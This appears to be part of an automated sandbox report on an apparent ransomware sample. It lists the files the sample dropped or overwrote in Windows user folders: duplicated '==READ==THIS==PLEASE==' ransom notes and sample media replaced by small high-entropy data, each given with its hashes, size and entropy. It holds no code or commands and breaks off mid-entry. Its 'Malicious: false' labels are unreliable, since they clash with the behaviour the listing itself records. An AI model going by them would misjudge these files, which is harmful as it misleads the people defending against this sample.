SHA-256:	672BBC2ED4F0CD37AE8BB07E138F62C69D756CFF97D770996D4BA66B0807C7DA
SHA-512:	E44B244E12908B7A40C3E188DF9DC421D8D78F25B378828870C0701C9D5654AA97877BF87148F11299F2B24CDA8E47ECF89495255A9BB2E9D7783325A92CDC87
Malicious:	false

C:\Users\Public\Music\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Music\Sample Music\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Large.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.721486956552539
Encrypted:	false
MD5:	EC4536C057B77812E46C71C002147CE8
SHA1:	7ABA4B0B2DC5779A645829136E73802A63A6778B
SHA-256:	BB97D8815083D8656437A267AAF5FCA7D88E604EF10418CDEF12F3B9A51DE7BF
SHA-512:	6CCB08B05FC7B5CE85042A16EEFA1719EDC199F385B20F74420832364B9F46DB3616A390247AFE827455BE1B3A9B3F370035746F34ADA66AB947B00679311CDA
Malicious:	false

C:\Users\Public\Music\Sample Music\AlbumArt_{5FA05D35-A682-4AF6-96F7-0773E42D4D16}_Small.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.683694285622
Encrypted:	false
MD5:	9206D28AF3C0927C9CE2ADC26CA74925
SHA1:	E02F989742EE9D34B3DC245FC6B5C53FAF948349
SHA-256:	C77266BCCF23E8312F254A47269DE1D4E24CFD3837434FA10C0AA3DE0F22BD6E
SHA-512:	FCF11A79E91329EE1BDF619975C58A0B1707C050DDD8E63E5B941A35B749C3F1EBD42EA4336683BB496198880206C639E7DFE516824E0EC507A28454096D2A48
Malicious:	false

C:\Users\Public\Music\Sample Music\Kalimba.mp3
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.677767318449817
Encrypted:	false
MD5:	97E39A801788BD76899DE441083CCE87
SHA1:	210A33AC2518467B4C0A98E7731C43A76D0B5C52
SHA-256:	93B597D8B65CA33224E9354F06002243F77716E480083D77F6C81FECB83907B7
SHA-512:	659F28A57207F949A4163A8C04CF024551C99DED86A534E4FBAE9751831435AAA4E46681A0AAF9552853B67B82EE1FBC855CF541AFE4C4D46CA6489E5A256EBE
Malicious:	false

C:\Users\Public\Music\Sample Music\Maid with the Flaxen Hair.mp3
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.653324951556687
Encrypted:	false
MD5:	5D4498D331CBECEC639EBF7D617D2E9E
SHA1:	63D02437C295B6EA7BA252B0A089A3851BFC30BF
SHA-256:	FFDDB260B765C41C2F459011082D25D9A08301737C4AFB1BE199B97E01C56DC4
SHA-512:	BD6267C7477F7FAB8608C09C0BB732D4E4D2728517D29C947DA1C132F99CA73B6BB811B5B53C1167351FEE3E626F93DE2499CA9EE96B5F71E4020B682E0A73B7
Malicious:	false

C:\Users\Public\Music\Sample Music\Sleep Away.mp3
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.677703041982878
Encrypted:	false
MD5:	CA625F1C18BE2AB419A029B0CDAABF8C
SHA1:	D830FE8A949D8B509DB7DA5E4D812745680348F8
SHA-256:	4C9E8159E36BB1B6F5679FE8158A0DD44FAA6AC416DCB804726A01C53D191A31
SHA-512:	88EA082FCA26D068B205F53B57ECC58CB52B455A55BFC61572BCAE9608A7E6E831837B4101A165B7046845AEFDEF90D75B9503E08E725FF14E29354949DA3C82
Malicious:	false

C:\Users\Public\Music\Sample Music\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.725454975584267
Encrypted:	false
MD5:	27F092671EB825946DCC6670AC8AAAC8
SHA1:	629B8E1FAF2E77116F19EB34251ECD94EE33FA57
SHA-256:	2C90F95D39D4F4137BC5073B27DABD89923BB8751CCAE6D79700FD523DFE9BE7
SHA-512:	42E9D3B93AE0571261DB5644AF2718D69F4CF949949CC24118B18225EEDAD3EB478EBE744E1E98026C59133079C5DCA3116A8205E75302E9046145F1A251D98E
Malicious:	false

C:\Users\Public\Music\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.7280208833066055
Encrypted:	false
MD5:	4B147ED999A63047A3F4634CF79F1BA8
SHA1:	ECDFF578EB7C62DB0CF28ABE451B43FD889A5F9A
SHA-256:	B05043E03B6AD546B78E372ED292F6D93F37D3515841FDC7C1607FD1B9E17822
SHA-512:	38895F0C8E853C73D4E0837584A69E2D1E89F7725F64061E5E61D28AAA0A533E154BE8CFF11F4DC70A199730C22391BC425CFF4FED7D10985B1B5DA8F3A3E330
Malicious:	false

C:\Users\Public\Pictures\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Chrysanthemum.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.680552006837513
Encrypted:	false
MD5:	C65747A466D4AC7861E1CC50C34F7F46
SHA1:	30C4ED568F601B9647EFEFCD325579701EFA207D
SHA-256:	F5B6993EE0C571084550C6260C7CBFC464AA97D7DA7A34AFFCA9B0D5F7D8F01E
SHA-512:	7BEE9C20CE82D7600152549483C8DB2FAD627B29F117A646EBCA02861866873221DF56FE4FC5D5FA71993179CA353540FA94CE852058F6044E105FC6D9881DD9
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Desert.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.68184880728488
Encrypted:	false
MD5:	F0E02AC26B17477F8E56EC4B64D7549D
SHA1:	FA5731A25F12276A8ADEDE30429F3F7B0AB7383F
SHA-256:	BA40822AF585BAC2CABE5D439DEA3086D70E8E11A1074F5BB96D29B1507FE81F
SHA-512:	3ABE9F9A630CBC479C1440114A4A59D1340512AF0C82C9E32A21C640EB3A34377EDF8183D66EF11D081BB9BD405461C0C25ED6FEC7D57C66641B4F2AFD472AA3
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Hydrangeas.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.657292717010573
Encrypted:	false
MD5:	5FCC067FDE5FECCAF24BC5033974E571
SHA1:	E55DC77CDCFFD206FEA6D5ABDAAED88B2AA34E09
SHA-256:	2AD737FB98692B90F0C0E0B0F159B5E1BFDD489AF5B8B48BD20F381424AF1064
SHA-512:	3405ED2FAF17F499AD2796F94BC0E93FC98061D0E8DC8D86FDD58BE854B12C2B1B54B8453863BD2C3BB37AB4503F2FFA71B748EE9FFE3E7B347C70CA0DF0FA99
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Jellyfish.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.702854294290571
Encrypted:	false
MD5:	E325128785D541A095843A2467F0C3E3
SHA1:	C50D3664AD950D6BE3C16E1F7F4672C3437B777D
SHA-256:	A6AC56587265E00D6731DC9EE00F16594095B557F7D97695132AF455724CE54E
SHA-512:	C372A664B840F840945E115755B2C304527B11E3B1C9BBF9E948485CD9D5ABD0DB73F1846458ABF6FB5B18CCEF639D6812DBE55176F26D21FFE72CCB6E750A95
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Koala.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.637164601729836
Encrypted:	false
MD5:	EF0C2EA2882C4A5378C44F4674A5187D
SHA1:	A3412564A26CDF7CD6A3139AD7DAA36862370B94
SHA-256:	D3E17800D80064F1843B0E69243792E2776CCFD5DCCBEB4D8AA32A2CC6160EE1
SHA-512:	7B8356F63EE71430394D4BD61036FD2CC54F51CF78FF42359570679B9AEA8F34C10C17797469D04E240D77818049113B8F09B5B6BCB91B341EEAFB1FD4D4D417
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Lighthouse.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.672525147179647
Encrypted:	false
MD5:	E60ADD4BF72802E92DA78851EED697C8
SHA1:	2B01199747BEBDAA9C89076DD27A86E7BA4581DE
SHA-256:	01E964646233674D3805578B5943A60E2CE2760105168FC84D3072D144EF8A37
SHA-512:	3038B4F7735D8D04A807CFCAA92CC0572F6C722C2F212F59C251FB8986F44A8128822D8DACD144BDE6CF2A18F1C49178D4A7683670BE71FAF900F481888ABC76
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Penguins.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.655038337800107
Encrypted:	false
MD5:	8EA7013BBBDBB7D41FF1C037C2B5C3D1
SHA1:	AA65B2AE84CFB8C15FD50F98E1D5E5B5C567744C
SHA-256:	E6487DB2869F579FEF4BE537ADB568AB31AC7003AF64A4F34F382D33D0C28F83
SHA-512:	B2C156FE1C3F91F979E4DB43237B6D1C74F1467C48D27BDB3EECED894756D1A1EF9183848A1E35B167FEA6B81C9ECE350A671218144820E13D0B8EC05565BC66
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\Tulips.jpg
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.6380176303644225
Encrypted:	false
MD5:	95D3507FA1AC79DA6DC12DBE909F397D
SHA1:	53B0E4686F24B5C12A3C37A5EF0681DF26CC6AF7
SHA-256:	A7AE6E3542F5850681E93EA5391573FF9EF2E8FA91289857CC8C7442B80CEAF8
SHA-512:	20F754C1DBFB39BEF0C83A7B3378062ABF982AD88F7D45A12681C1BECCE9EDE2DDBEE48EEC5FD1E003AAC071B6E644ED30731441869CC45CA1659F8C2F6E946A
Malicious:	false

C:\Users\Public\Pictures\Sample Pictures\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.661111547858813
Encrypted:	false
MD5:	51FBEEFDD7240893E38BDF2D0D4BC273
SHA1:	F44170E966AA31CB1EF7D6849E64B2037F3B566A
SHA-256:	273F20BBA4CCDFFEF59F21CC3A001830D848744EFE4FD3820F51CDD693204943
SHA-512:	C63DB91BFF6C53792982C6A3EB4EAB37B72BCCD818904FE8D14A3C912A582B3F11EEBA675D2B06C7FD1B757E2F36BC33438875B55F7DC25EF1A9470B2DF9D1F4
Malicious:	false

C:\Users\Public\Pictures\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.6756658352635565
Encrypted:	false
MD5:	27AC9C63271539715825BCCD44FEB46C
SHA1:	FC108E2EFFB356B46680B73C72F2B00464C77785
SHA-256:	3B20DAE025DB8365FFE2580F470B08EAE331A9B88B8BFB7F4BC92538D3C43887
SHA-512:	5120BACC4537BFA52107CCCC91994CBA1EE75CE87D92024CC7E3A49E3C83E54A115FCE677877794EABA9C620775D400330D266F82D168CE05F8D48C0FD3D54EC
Malicious:	false

C:\Users\Public\Recorded TV\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Recorded TV\Sample Media\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Recorded TV\Sample Media\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.67333824243768
Encrypted:	false
MD5:	45BDE23134D6B32DC3ADB6A4DEEAFC29
SHA1:	E34DB3546AA59DB60319E6AE23CEDA0239903168
SHA-256:	224F4A546BA30B8ABF55A375E253AAD75DAB52AD1A6BFD769C86344CF441A86B
SHA-512:	FD46E5C7F6E32118095AA6BE0AB0116CD10BE69890D8E9D628F3A243779073F81A47BCF6C7CD59B9200EA275D2F2DA3B55B948D4A5081033DC72796F010D7374
Malicious:	false

C:\Users\Public\Recorded TV\Sample Media\win7_scenic-demoshort_raw.wtv
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.685898370477488
Encrypted:	false
MD5:	72FA1E6B33D0368C6F48346D5CD57BEC
SHA1:	58FDE452AB98C062B08693051CF842305900D679
SHA-256:	6C41CA2FF95918F14A2E4CA60621B9915172692F91C3EDE69FA7819FAD337085
SHA-512:	088E9C4AEE20C712BED5001CF8A1FFD13F8F75E556926786CF3C9CF8EBC1E568FF7F53391319082E45028765EBA33162736E59F538EF32F7D297DA731E718068
Malicious:	false

C:\Users\Public\Recorded TV\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.686226659527637
Encrypted:	false
MD5:	8B06370F4A32665BFDA33FE0BF455A16
SHA1:	2CCC9E9D9C7FD71866599F168362311E2908CC8E
SHA-256:	33987407B4357606B0FDA133CD75DAECAA114C8DA16EB70391D9F4DDDF7F5AD7
SHA-512:	F31A468682404E243496EFA8F2BA3D8CFF928D0534A8BF611B70302B0F2B8E8A1E7BAE32D868449F0A1C4E45E5FDB7354DB1A5C22BF1208CCA50C8DC60E56DB5
Malicious:	false

C:\Users\Public\Videos\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Videos\Sample Videos\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\Public\Videos\Sample Videos\Wildlife.wmv
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.705312878191579
Encrypted:	false
MD5:	6B7E522E929DB6612F4BF4E48F5A0101
SHA1:	CC420445131B0F1B853563EDA19716238FDDA406
SHA-256:	56E01EA910401F87D26B4EB3928C96B57EFDC33969F1D43B389C3A37C67B595D
SHA-512:	D5E1E569A0C6E25224763E0B2CE41C7F6468A7D812F1C6C96E6093F826E3A3819C7C0E9FC41ADC9530FBA30D16BF66021B546DA28E20649738E02EAC2206F5B8
Malicious:	false

C:\Users\Public\Videos\Sample Videos\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.645653008050118
Encrypted:	false
MD5:	FE0E933ED909636F444BF0DA7CA999FA
SHA1:	0ACE2EC23D4BAB060331D2A6F38872DE7C1DCEC9
SHA-256:	58C8850B367295B880A45833AA238E9A45AD290E75671BF105A09DBF35812D79
SHA-512:	44DC0405A3B92AE6DBE5CA98BC4E76832AD57FFD72E1E35B92DF7180A0E1E9C14C344774AB6CA14E66E0BFA16EB86830A539AD1A0732E22EB18A5E01CA9400A4
Malicious:	false

C:\Users\Public\Videos\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.7156004299125875
Encrypted:	false
MD5:	13E2861485D6A77657ACDAA931EB82FC
SHA1:	DEB671564C3D0FD124FBCA848E9F0C0F69E122AA
SHA-256:	39ADB3F707914D87C32A548E737C7BC0177F6F137B26B3541E9187D99CA6D645
SHA-512:	B469C20A5225CA742FBE576750420187E5C13401430C2AE7292FF558922A840770D5D60A40B8E4F9333A80585188F09663E068DEA3D750144E37E5CC52BDC219
Malicious:	false

C:\Users\Public\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.700728214436107
Encrypted:	false
MD5:	64A6E08F2034E344A60CA5B32A89C40B
SHA1:	5B83D8E0CBE917E706DBFA58BC96C8BD9ACE83C0
SHA-256:	D735FE2D67ECD28E103A3778B6553126459889E9454F1CC1952DDAEBE4F1D74D
SHA-512:	027CA74EBBC2EA05E5B864FF2608A7D119C220D48530AF8CF6EAD13C3EE2352480F07D7AED168F472BE525E243FC0AF29C2C9A8389DFB502B963662D2ECAAB34
Malicious:	false

C:\Users\desktop.ini
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	data
Size (bytes):	651
Entropy (8bit):	7.718081172340509
Encrypted:	false
MD5:	6029C911108A50466585E0A481CEA9F6
SHA1:	FA88F4FED0A6220B36ED23696AF2D4D4DA49D0AB
SHA-256:	E6AFBCAC554F6D3CCEAD3A4D69A12D7217374C71E907F16AD80CD19D36F94E53
SHA-512:	B6232024CD04FE72CA1AB74124D1C19662373D636F3DAE9827E2A96B038C25193DED7793CCD7C707A12680DDD36D18154C8F2678B8A173287B3DC51D4E8F0D00
Malicious:	false

C:\Users\user\==READ==THIS==PLEASE==2DD10DD9.txt
Process:	C:\Users\user\Desktop\plugins\GAygkOwh9t.exe
File Type:	ASCII text, with CRLF line terminators
Size (bytes):	2374
Entropy (8bit):	5.159168765311353
Encrypted:	false
MD5:	0AD16F1334E98D0D70F0BBB092C015E2
SHA1:	BEC0AE4D86FFBF78BD21C9A2B8977FC23DD3DBB7
SHA-256:	8314A1116BD2A69DA634C0782F18DA94791A18F29CD1AABBBA7B6D1060C8260A
SHA-512:	662F30819F50B8D22C3CCFB0A325EED066319CF287746A82F2B8B40B44F323DECA9B9CE803D0496113A6C33F08578AD3188E2A5C0FEA5BC3298EFAB4E80BC8A1
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\10.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\10.0\ReaderMessages
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.639904547881706
Encrypted:	false
MD5:	237E6F9D43012219ECD6FFA3FFC2E4DF
SHA1:	A637F4847018BC9C46BAC4D8E363F782C62F927E
SHA-256:	CF158E060CF1CF82749431D8F1CB3DF9D680BC7F2547AE08D7D5CB3905FB0AB8
SHA-512:	8AC3685C480D91A5A3097EAD372DA1F70ECB9BC8141BA9F8C9DD6B3B088D435FEC63208739E43602BF9D900352F08DAA5BB0ECA0A56AF04D37136027F9F67BD7
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\10.0\rdrmessage.zip
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.653095556335037
Encrypted:	false
MD5:	AC2FA67A803A1FDF895082CF90FBA1D0
SHA1:	7FE4FEC1631E5D9FBCC2EDECF697DC4491D2DF04
SHA-256:	4503CD6123E0F41257894EF990D37E592AAE23024F90524773166E2AF4E7F5BE
SHA-512:	70A9CA00C7E373E7D08A77284C4B4149B67FC2A342125511B4EACD7FFC17CD1A2F25F09FB68423ED343E559107C2B8A46CC7F282DC9EA7B5B6FEC285E4CC155C
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\11.0\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\11.0\ReaderMessages
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.7282097512888015
Encrypted:	false
MD5:	8D916E43BB0321B0083F33A54EDAA7AB
SHA1:	3F000A931C1FDBB7D55FDF2C805F378B2B79B157
SHA-256:	07E3DDDDD61C9A2065034716A5165B3B1A96F697A2D41476395BC507B52FC7E3
SHA-512:	1AB458FED424084B834EB789C848C1D2B007142EA4FA9ECB2176FBDACB0B188524C30E3526A3D267E28C451C238C5B184AB4AC1080636082250E4BD2A1F3AEE5
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\11.0\assets\==READ==THIS==PLEASE==4DE0B309.txt
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	2374
Entropy (8bit):	5.133167920010052
Encrypted:	false
MD5:	07EC86F078252911416917C184D7D965
SHA1:	25E618419C8443D4934320BC586658A4A499B21A
SHA-256:	E61204B5B8103032E621B0CC6B21D53455D5D189F0E44EC9CED282FF96251CEC
SHA-512:	9EE591356795B257D5590FA0F8A4C592D8945641F82DD3A08D39790EC8A6D5211D8C4F4D961AE13574562D4F748B25A1B58416F89FF8E697CE4AC85BD0725E00
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\11.0\assets\assets-150327124601Z-13419
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6672215773162335
Encrypted:	false
MD5:	F5C1CA46D923346A8D273E194A970C6E
SHA1:	F3A88231736C299C715A9ADE064EE958ADA3239C
SHA-256:	9F54084482E0CF057DFCD943E92E81DD2D31973E3E9E8FF80B13D9EE966A8B45
SHA-512:	8F3EB573D030860AC4A2967B34716A45DA6B2C85BB2E41EBB89964524B40AE6BCF04A2D7C0C65088F0EDAC012EFC476AFE94963935329A41C7DAB4192784C206
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\11.0\assets\assets-150327124601Z-13428
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6961457352440865
Encrypted:	false
MD5:	DE6CDCAE6BE4EB9BD984AFAA7C9F5F9D
SHA1:	2270ACF78FEB152293884A4409F079BBA949D451
SHA-256:	4AFCEEF4F90276D4A08548477E1EB4F8F9B502CAE759E84B5B73579DE2950C2B
SHA-512:	7335D93BF48A4F47904A664BE018C6D18E3B06E363730CB5A6E8C4E9D5822571C50CB1E64A58EB78D73B8651EE2AC842EA4229FFFDC2E5DE62BE9145D3B086FD
Malicious:	false

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\11.0\assets\assets-150327124601Z-13433
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	651
Entropy (8bit):	7.6772634676928435
Encrypted:	false
MD5:	6325356D9C82D061A37B02ADFF6EF069
SHA1:	F52D58BBF5FDA698F80CE752C6DF3105DA3CDCF7
SHA-256:	6B7673F63D66B5CC6B1535D3E62A1F6D45FF7D654A65F46CC599E2C3DFBB51FD
SHA-512:	51E82D148B72CF556CDC4BC629BDEC4D00A2B3EEA2DF08287C9FBC54FC30AD7FAED04C795D686B0EFBD78B843F4101FAF8802F6E1F928027BAFB2402C73185AE
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\0724226038BBC96D0D07286FB0FEC0AD
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
Size (bytes):	527
Entropy (8bit):	7.1874203868235815
Encrypted:	false
MD5:	D76DBCA850F024382B5A7A8CE1C1E4A5
SHA1:	2F1927CEA0DE8622A9D5522AB530C7269E5F08F5
SHA-256:	66C8F51B4F93A9FECF491429251E09F836B9042A66DEA9896D4573D383835C4E
SHA-512:	60E1DD02C9FBAFE0CB021CCEA6F16F205634DD58CFD3779F445FDA1C4311EDDC37185D852184E2B7BDBBF1EEF96592C0AFF69058E363E4700877246446838F9F
Malicious:	false

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\57C8EDB95DF3F0AD4EE2DC2B8CFD4157
Process:	C:\Windows\System32\msiexec.exe
File Type:	Unknown
